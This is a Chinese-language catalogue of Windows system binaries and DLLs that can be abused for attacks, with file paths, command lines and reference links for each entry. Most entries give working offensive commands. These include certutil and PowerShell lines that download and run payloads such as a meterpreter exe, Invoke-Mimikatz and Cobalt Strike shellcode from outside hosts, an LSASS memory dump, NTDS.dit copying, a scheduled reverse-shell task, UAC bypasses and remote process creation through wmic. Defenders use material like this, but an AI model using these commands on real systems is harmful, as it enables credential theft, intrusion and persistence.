https://freddiebarrsmith.com/at.txt
```

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html - Escalate to System from Administrator
https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems

Atbroker.exe

使用说明：

windows 辅助技术 AT 程序。

文件路径:

```
C:\Windows\System32\Atbroker.exe
C:\Windows\SysWOW64\Atbroker.exe
```

执行方式：

```
ATBroker.exe /start malware
```

参考资料：

```
http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/
```

Bash.exe

使用说明：Windows 子系统用于 Linux 的文件

文件路径:

```
C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe
```

执行方式：

```
bash.exe -c calc.exe
```

参考资料：

```
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
```

Bitsadmin.exe

使用说明：用于管理后台文件传输的程序。

文件路径:

```
C:\Windows\System32\bitsadmin.exe
C:\Windows\SysWOW64\bitsadmin.exe
```

执行方式：

```
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
```

下载文件

```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```

参考资料：

https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679 - slide 53

https://www.*******.com/watch?v=_8xJaaQlpBo

https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Certutil.exe

使用说明：

Certutil.exe 是一个命令行程序，作为证书服务的一部分安装。我们可以使用此工具在目标计算机上执行我们的恶意 exe 文件以获取 meterpreter 会话。

文件路径:

```
C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe
```

执行方式：

```
certutil -urlcache -split -f http://x.x.x.x/msf a.exe && a.exe
certutil.exe -urlcache -split -f http://x.x.x.x/x.jar &&java -jar x.jar
certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
certutil -encode inputFileName encodedOutputFileName
certutil -decode encodedInputFileName decodedOutputFileName
```

参考资料：

https://twitter.com/Moriarty_Meng/status/984380793383370752

https://twitter.com/mattifestation/status/620107926288515072

https://twitter.com/egre55/status/1087685529016193025

Cmd.exe

使用说明：

windows 命令行程序。

文件路径:

```
C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exe
```

执行方式：

```
cmd.exe /c echo regsv***.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSv***.sct ^scrobj.dll > fakefile.doc:payload.bat
cmd.exe - < fakefile.doc:payload.bat
```

参考资料：

https://twitter.com/yeyint_mth/status/1143824979139579904

Cmdkey.exe

使用说明：创建、列出和删除存储的用户名以及密码或凭据。

文件路径:

```
C:\Windows\System32\cmdkey.exe
C:\Windows\SysWOW64\cmdkey.exe
```

执行方式：

```
cmdkey /list
```

参考资料：

```
https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
```

Control.exe

使用说明：

用于在 Windows 中启动控制面板项目的程序。

文件路径:

```
C:\Windows\System32\control.exe
C:\Windows\SysWOW64\control.exe
```

执行方式：

```
control.exe c:\windows\tasks\file.txt:evil.dll
```

参考资料：

```
https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/

https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/


https://twitter.com/bohops/status/955659561008017409
```

https://twitter.com/bohops/status/999699301008617469

https://docs.microsoft.com/en-us/windows/desktop/shell/executing-control-panel-items

https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/

Csc.exe

使用说明：

.NET 可以使用 csc 程序来编译 C＃代码。

文件路径:

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe
```

执行方式：

```
csc.exe -out:My.exe File.cs
csc -target:library File.cs
```

参考资料：

https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe

Dfsvc.exe

使用说明：

dfsvc.exe 是用来检查应用程序是否已经安装并且是最新的，如果需要的话将应用程序下载到用户 AppData 中的 ClickOnce 文件夹，然后从当前位置（随着每次更新而改变）启动它。

文件路径:

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
```

执行方式：

```
rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
```

参考资料：

```
https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
```

Dnscmd.exe

使用说明：

用于管理 DNS 服务器的命令行界面

文件路径:

```
C:\Windows\System32\Dnscmd.exe
C:\Windows\SysWOW64\Dnscmd.exe
```

执行方式：

```
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
```

参考资料：

```
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html

https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp

https://twitter.com/Hexacorn/status/994000792628719618

http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
```

Esentutl.exe

使用说明：

用于处理 Microsoft 联合引擎技术（JET）数据库的二进制文件

文件路径:

```
C:\Windows\System32\esentutl.exe
C:\Windows\SysWOW64\esentutl.exe
```

执行方式：

```
esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
```

```
esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d
\\otherwebdavserver\webdav\adrestore.exe /o
```

参考资料：

```
https://twitter.com/egre55/status/985994639202283520

https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/

https://twitter.com/bohops/status/1094810861095534592
```

Eventvwr.exe

使用说明：

在 GUI 窗口中显示 Windows 事件日志。

文件路径:

```
C:\Windows\System32\eventvwr.exe
C:\Windows\SysWOW64\eventvwr.exe
```

执行方式：

```
eventvwr.exe
```

参考资料：

```
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1
```

Expand.exe

使用说明：

expand.exe 是一个可执行文件，属于 Microsoft Corporation 开发的 User Profile Hive Cleanup Service 程序的一部分。 用于扩展对文件压缩的功能。

文件路径:

```
C:\Windows\System32\Expand.exe
C:\Windows\SysWOW64\Expand.exe
```

执行方式：

```
expand \\webdav\folder\file.bat c:\ADS\file.bat
expand c:\ADS\file1.bat c:\ADS\file2.bat
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
```

参考资料：

```
https://twitter.com/infosecn1nja/status/986628482858807297
https://twitter.com/Oddvarmoe/status/986709068759949319
```

Extexport.exe

使用说明：ExtExport.exe 是可执行文件，属于 Microsoft Corporation 开发的 Internet Explorer 程序的一部分。

文件路径:

文件路径:

```
C:\Program Files\Internet Explorer\Extexport.exe
C:\Program Files (x86)\Internet Explorer\Extexport.exe
```

执行方式:

```
Extexport.exe c:\test foo bar
```

参考资料:

```
http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/
```

Extrac32.exe

使用说明：extrac32.exe 是属于 Microsoft®CAB File Extract Utility 的进程。

文件路径:

```
C:\Windows\System32\extrac32.exe
C:\Windows\SysWOW64\extrac32.exe
```

执行方式:

```
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```

参考资料:

```
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
```

```
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

https://twitter.com/egre55/status/985994639202283520
```

Findstr.exe

使用说明：

findstr.exe 它类似于 find 命令。 findstr 支持正则表达式，而 find 不支持。 findstr 程序最初作为 Windows 2000 Resource Kit 的一部分发布，名称为 qgrep。

文件路径:

```
C:\Windows\System32\findstr.exe
C:\Windows\SysWOW64\findstr.exe
```

执行方式：

```
findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
findstr /S /I cpassword \\sysvol\policies\*.xml
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
```

参考资料：

```
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
```

GfxDownloadWrapper.exe

使用说明：

英特尔图形控制面板使用 GfxDownloadWrapper.exe 来进行远程文件下载，接收第一个参数 URL 和目标文件路径。

文件路径:

```
c:\windows\system32\driverstore\filerepository\64kb6472.inf_amd64_3daef03bbe98572b\
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_0e9c57ae3396e055\
c:\windows\system32\driverstore\filerepository\cui_component.inf_amd64_0219cc1c7085a93f\
```

执行方式：

```
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL"
"DESTINATION FILE"
```

参考资料：

```
https://www.sothis.tech/author/jgalvez/
```

Gpscript.exe

使用说明：

组策略使用 Gpscript.exe 来处理脚本。

文件路径:

```
C:\Windows\System32\gpscript.exe
C:\Windows\SysWOW64\gpscript.exe
```

执行方式：

```
Gpscript /logon
Gpscript /startup
```

参考资料：

```
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
```

Hh.exe

使用说明：

hh.exe 文件是其 HTML 帮助可执行程序，它是合法的 Windows 核心文件。 通过单击文件或链接的菜单项打开 “编译的帮助文件” （类型. chm）时，它将运行。 通过调用 HTML 帮助 ActiveX 控件，它将使帮助文件在帮助查看器中打开。

文件路径:

```
C:\Windows\System32\hh.exe
C:\Windows\SysWOW64\hh.exe
```

执行方式：

```
HH.exe http://some.url/script.ps1
HH.exe c:\windows\system32\calc.exe
```

参考资料：

```
https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
```

Ie4uinit.exe

使用说明：

Ie4uinit.exe， Internet Explorer 每用户初始化实用程序，它对图标缓存数据库执行操作，该图标缓存数据库是 “%userprofile%\ AppData \ Local” 子目录中的一个隐藏的 “ .db” 类型文件，图标缓存保留 Windows 或 IE 使用的图标副本，以避免重复重绘它们。

文件路径:

```
c:\windows\system32\ie4uinit.exe
c:\windows\sysWOW64\ie4uinit.exe
c:\windows\system32\ieuinit.inf
c:\windows\sysWOW64\ieuinit.inf
```

执行方式：

```
ie4uinit.exe -BaseSettings
```

参考资料：

```
https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
```

Jsc.exe

使用说明：

jsc.exe 是 Microsoft Corporation 开发的 Microsoft® JScript .NET 的一部分，用来将

jsc.exe 是 Microsoft Corporation 开发的 Microsoft®JScript .NET 的一部分，用来将 javascript 代码编译为. exe 或. dll 格式的二进制文件。

文件路径:

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Jsc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Jsc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Jsc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Jsc.exe
```

执行方式:

```
jsc.exe scriptfile.js
jsc.exe /t:library Library.js
```

参考资料:

```
https://twitter.com/DissectMalware/status/998797808907046913
https://www.phpied.com/make-your-javascript-a-windows-exe/
```

Makecab.exe

使用说明:

Makecab.exe 用于将文件打包成 Cabinet（.cab）文件。

文件路径:

```
C:\Windows\System32\makecab.exe
C:\Windows\SysWOW64\makecab.exe
```

执行方式:

```
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
```

参考资料：

```
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
```

Mmc.exe

使用说明：

mmc.exe 是系统管理程序的一个框架程序，全称是 Microsoft Management Console，它提供给扩展名为 msc 的管理程序一个运行的平台，比如组策略，系统清单，任务管理器，以及打印管理、本地安全策略等等，另外本进程也可能同时运行两个或更多个。

文件路径:

```
C:\Windows\System32\mmc.exe
C:\Windows\SysWOW64\mmc.exe
```

执行方式：

```
mmc.exe -Embedding c:\path\to\test.msc
```

参考资料：

```
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
```

Msconfig.exe

使用说明：

msconfig.exe 用于查看、编辑和管理操作系统配置文件及随操作系统自动启动的程序 / 服务，包括：Win.ini、boot.ini、系统服务和自动启动程序等。

文件路径:

```
C:\Windows\System32\msconfig.exe
```

执行方式：

执行嵌入在 c:\windows\system32\mscfgtlc.xml 中的命令。

```
Msconfig.exe -5
```

参考资料：

```
https://twitter.com/pabraeken/status/991314564896690177
```

Msdt.exe

使用说明：Microsoft 诊断工具

文件路径:

```
C:\Windows\System32\Msdt.exe
C:\Windows\SysWOW64\Msdt.exe
```

执行方式：

```
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
```

参考资料：

```
https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/

https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/


https://twitter.com/harr0ey/status/991338229952598016
```

Netsh.exe

使用说明：

Netsh.exe 是一个管理员可以用来在命令提示符处配置并监视基于 Windows 的计算机的工具。使用 Netsh.exe 工具，可以将输入的上下文命令定向到适当的帮助器，然后帮助器将执行命令。帮助器是个动态链接库 (.dll) 文件，它通过提供配置、监视和支持一种或多种服务、实用工具或协议，来扩展 Netsh.exe 工具的功能。

文件路径:

```
C:\WINDOWS\System32\Netsh.exe
C:\WINDOWS\SysWOW64\Netsh.exe
```

执行方式：

```
netsh.exe add helper C:\Users\User\file.dll
```

参考资料：

```
https://freddiebarrsmith.com/trix/trix.html
```

```
https://htmlpreview.github.io/?
https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html

https://liberty-shell.com/sec/2018/07/28/netshlep/
```

Pcwrun.exe

使用说明：

程序兼容性疑难解答调用程序。

文件路径:

```
C:\Windows\System32\pcwrun.exe
```

执行方式：

```
Pcwrun.exe c:\temp\beacon.exe
```

参考资料：

```
https://twitter.com/pabraeken/status/991335019833708544
```

Powershell.exe

使用说明：

Windows PowerShell 旨在改进命令行和脚本环境。PowerShell 以. NET Framework 为平台，接收和返回. NET 对象，此举为管理和配置微软系统带来了新的方法和工具。

文件路径：

```
64位版本：C：\ Windows \ System32 \ WindowsPowerShell \ v1.0
32位版本：C：\ Windows \ SysWOW64 \ WindowsPowerShell \ v1.0
```

执行方式：

```
a)、powershell -exec bypass -c (new-object
System.Net.WebClient).DownloadFile('http://x/1.jpg‘,'C:\Users\x\Desktop\test\12.exe')
b)、powershell (Invoke-WebRequest http://x/1.jpg -O x.jpg)
c)、也可以通过从UVC读取脚本执行：
powershell -exec bypass -f \\webdavserver\a.ps1
d)、内存加载：
1、powershell IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
2、powershell -exec bypass -c "iwr
https://gist.githubusercontent.com/Urahara3389/d83b6f9ccedf9aa53f70d987360dbc0e/raw/53ad790f87e0fd2c9449d5359358cd251c39297a/calc.ps1|iex"
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('cs shellcode address'))"
```

参考资料：

```
https://blog.csdn.net/a1453514850/article/details/88074300
```

Print.exe

使用说明：

Print.exe 是 Windows 用来将文件发送到打印机的程序。

文件路径:

```
C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe
```

执行方式:

```
print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
```

参考资料:

```
https://twitter.com/Oddvarmoe/status/985518877076541440
https://www.*******.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410
```

Reg.exe

使用说明:

reg.exe，用该命令向注册表加入一个新的指定键值

文件路径:

```
C:\Windows\System32\reg.exe
C:\Windows\SysWOW64\reg.exe
```

执行方式:

```
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
```

参考资料：

```
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
```

Regedit.exe

使用说明：

regedit.exe 是微软公司出品的一个进程文件。位于 C:\Windows \ 目录，可用于修改 Windows 系统的注册表中的项，值以及数据。

文件路径:

```
C:\Windows\System32\regedit.exe
C:\Windows\SysWOW64\regedit.exe
```

执行方式：

```
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
regedit C:\ads\file.txt:regfile.reg
```

参考资料：

```
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
```

Register-cimprovider.exe

使用说明：

用于注册新的 WMI 提供程序。

文件路径:

```
C:\Windows\System32\Register-cimprovider.exe
C:\Windows\SysWOW64\Register-cimprovider.exe
```

执行方式:

```
Register-cimprovider -path "C:\folder\evil.dll"
```

参考资料:

```
https://twitter.com/PhilipTsukerman/status/992021361106268161
```

Replace.exe

使用说明:

命令行用于一个文件替换另一个文件。

文件路径:

```
C:\Windows\System32\replace.exe
C:\Windows\SysWOW64\replace.exe
```

执行方式:

```
replace.exe C:\Source\File.cab C:\Destination /A
```

```
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
```

参考资料：

```
https://twitter.com/elceef/status/986334113941655553
https://twitter.com/elceef/status/986842299861782529
```

R***ing.exe

使用说明：

用于验证 rpc 连接。

文件路径:

```
C:\Windows\System32\r***ing.exe
C:\Windows\SysWOW64\r***ing.exe
```

执行方式：

```
r***ing -s 127.0.0.1 -e 1234 -a privacy -u NTLM
```

参考资料：

```
https://github.com/vysec/RedTips

https://twitter.com/vysecurity/status/974806438316072960

https://twitter.com/vysecurity/status/873181705024266241
```

Runonce.exe

使用说明：

runonce.exe 是微软 Run Once 的包装。它用于第三方应用程序的安装程序。它允许安装程序添加到启动项中，用于再次启动后，进行进一步配置。这个程序对你系统的正常运行是非常重要的。

文件路径:

```
C:\Windows\System32\runonce.exe
C:\Windows\SysWOW64\runonce.exe
```

执行方式：

```
Runonce.exe /AlternateShellStartup
```

参考资料：

```
https://twitter.com/pabraeken/status/990717080805789697
https://cmatskas.com/configure-a-runonce-task-on-windows/
```

Runscripthelper.exe

使用说明：runscripthelper.exe 是在 Windows 10 RS3 中引入的，它所做的事情是从一个特定的目录读取 PowerShell 代码并执行这些代码。

文件路径:

```
C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\Runscripthelper.exe
C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\Runscripthelper.exe
```

执行方式：

```
runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test
```

参考资料：

```
https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
http://www.4hou.com/technology/8999.html
```

Sc.exe

使用说明：

使用 Sc.exe 可以帮助开发的 Windows 服务。Sc.exe，资源工具包中提供实现对所有在 Windows 服务的控件应用程序编程接口 (API) 函数的调用。您可以通过在命令行上指定这些设置对这些函数的参数。Sc.exe 也显示服务状态，并检索存储在状态结构字段中的值。该工具还允许您指定的远程计算机名称，以便您可以调用服务 API 函数或查看远程计算机上的服务状态结构。

文件路径:

```
C:\Windows\System32\sc.exe
C:\Windows\SysWOW64\sc.exe
```

执行方式：

```
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\""
DisplayName= "evilservice" start= auto\ & sc start evilservice
```

参考资料：

```
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
```

Schtasks.exe

使用说明：schtasks.exe 是安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务，按需要启动和停止任务，显示和更改计划任务。

文件路径:

```
c:\windows\system32\schtasks.exe
c:\windows\syswow64\schtasks.exe
```

执行方式：

```
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr c:\some\directory\revshell.exe
```

参考资料：

```
https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/
```

Scriptrunner.exe

使用说明：

ScriptRunner.exe 被视为一种 Windows Executable 文件。它最常用于由 Microsoft 开发的 Microsoft (R) Windows (R) Operating System。它使用 EXE 文件扩展名， 并被视为 Win32 EXE (可执行的应用程序) 文件。

ScriptRunner.exe 最初开发于 07/29/2015，位于 Windows 10 操作系统中，适用于 Windows 10。 此文件版本标记出来自 Microsoft 的最新和最近更新版本。

文件路径:

```
C:\Windows\System32\scriptrunner.exe
C:\Windows\SysWOW64\scriptrunner.exe
```

执行方式：

```
Scriptrunner.exe -appvscript calc.exe
ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
```

参考资料：

```
https://twitter.com/KyleHanslovan/status/914800377580503040

https://twitter.com/NickTyrer/status/914234924655312896

https://github.com/MoooKitty/Code-Execution
```

Tttracer.exe

使用说明：

TTTracer.exe，Microsoft 的 Time Travel 工具，客户可以运行客户端版本来跟踪程序的流程。

文件路径:

```
C:\Windows\System32\tttracer.exe
```

```
C:\Windows\SysWOW64\tttracer.exe
```

执行方式：

```
tttracer.exe C:\windows\system32\calc.exe
```

参考资料：

```
https://twitter.com/oulusoyum/status/1191329746069655553

https://twitter.com/mattifestation/status/1196390321783025666

https://lists.samba.org/archive/cifs-protocol/2016-April/002877.html
```

Verclsid.exe

使用说明：

verclsid.exe 是 Microsoft XP 安全更新程序 (KB908531)。Windows 资源管理器中有一个安全问题，攻击者可能会利用此问题危及基于 Windows 的系统的安全并获取对系统的控制权。

文件路径:

```
C:\Windows\System32\verclsid.exe
C:\Windows\SysWOW64\verclsid.exe
```

执行方式：

```
verclsid.exe /S /C {CLSID}
```

参考资料：

```
https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
```

https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

Wab.exe

使用说明：Windows 通讯录管理器

文件路径:

```
C:\Program Files\Windows Mail\wab.exe
C:\Program Files (x86)\Windows Mail\wab.exe
```

执行方式：

```
更改HKLM\Software\Microsoft\WAB\DLLPath并执行选择的DLL
wab.exe
```

参考资料：

```
https://twitter.com/Hexacorn/status/991447379864932352
http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/
```

wmic.exe

使用说明：wmic.exe 是 WMI 命令行。作为 Windows XP 的一部分发布的 WMI 命令行工具 (wmic.exe) 提供一个到 WMI 基础结构的命令行接口。可以使用 wmic.exe 执行来自命令行的常见 WMI 任务，包括浏览 CIM 和检查 CIM 类定义。

文件路径:

```
C:\Windows\System32\wbem\wmic.exe
```

C:\Windows\SysWOW64\wbem\wmic.exe

执行方式：

```
wmic.exe process call create "c:\ads\file.txt:program.exe"
wmic.exe process call create calc
wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\"
/f"
wmic.exe /node:"192.168.0.1" process call create "evil.exe"
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^>
c:\notGoogleUpdateResults.txt"
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow
/for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"
wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-
Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
```

参考资料：

```
https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-
working-directory

https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

https://twitter.com/subTee/status/986234811944648707
```

Wsreset.exe

使用说明：

Windows 应用商店重置工具。 只需将二进制文件放在磁盘上，然后将其位置写入更正注册表项，然后运行 WSReset.exe。 二进制文件将以高特权运行。

文件路径:

```
C:\Windows\System32\wsreset.exe
```

执行方式:

```
wsreset.exe
```

参考资料:

```
https://www.activecyber.us/activelabs/windows-uac-bypass

https://twitter.com/ihack4falafel/status/1106644790114947073

https://github.com/hfiref0x/UACME/blob/master/README.md
```

系统库文件 (10 个)

Advpack.dll

使用说明:

使用 rundll32.exe 安装软件和驱动程序的实用程序

文件路径:

```
c:\windows\system32\advpack.dll
c:\windows\syswow64\advpack.dll
```

执行方式:

执行方式：

```
rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,,1,
rundll32.exe advpack.dll,RegisterOCX test.dll
rundll32.exe advpack.dll,RegisterOCX calc.exe
rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"
```

参考资料：

```
https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/

https://twitter.com/ItsReallyNick/status/967859147977850880


https://twitter.com/bohops/status/974497123101179904

https://twitter.com/moriarty_meng/status/977848311603380224
```

Comsvcs.dll

使用说明：

使用 rundll32.exe 执行 Com + 服务。

文件路径:

```
c:\windows\system32\comsvcs.dll
```

执行方式：

```
rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"
```

参考资料：

```
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
```

leadvpack.dll

使用说明：用于 Internet Explorer 的 INF 安装程序。 具有与 advpack.dll 相同的功能。

文件路径:

```
c:\windows\system32\ieadvpack.dll
c:\windows\syswow64\ieadvpack.dll
```

执行方式：

```
rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,,1,
rundll32.exe ieadvpack.dll,RegisterOCX test.dll
rundll32.exe ieadvpack.dll,RegisterOCX calc.exe
rundll32 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe"
```

参考资料：

```
https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/

https://twitter.com/pabraeken/status/991695411902599168

https://twitter.com/0rbz_/status/974472392012689408
```

leaframe.dll

使用说明：Internet 浏览器 DLL，用于翻译 HTML 代码。

文件路径:

```
c:\windows\system32\ieframe.dll
c:\windows\syswow64\ieframe.dll
```

执行方式：

```
rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
```

参考资料：

```
http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/

https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/


https://twitter.com/bohops/status/997690405092290561

https://windows10dll.nirsoft.net/ieframe_dll.html
```

Mshtml.dll

使用说明：Microsoft HTML 解析程序

文件路径:

```
c:\windows\system32\mshtml.dll
c:\windows\syswow64\mshtml.dll
```

执行方式：

```
rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"
```

参考资料：

```
https://twitter.com/pabraeken/status/998567549670477824
https://windows10dll.nirsoft.net/mshtml_dll.html
```

Pcwutl.dll

使用说明：Microsoft HTML 解析程序

文件路径:

```
c:\windows\system32\pcwutl.dll
c:\windows\syswow64\pcwutl.dll
```

执行方式：

```
rundll32.exe pcwutl.dll,LaunchApplication calc.exe
```

参考资料：

```
https://twitter.com/harr0ey/status/989617817849876488
https://windows10dll.nirsoft.net/pcwutl_dll.html
```

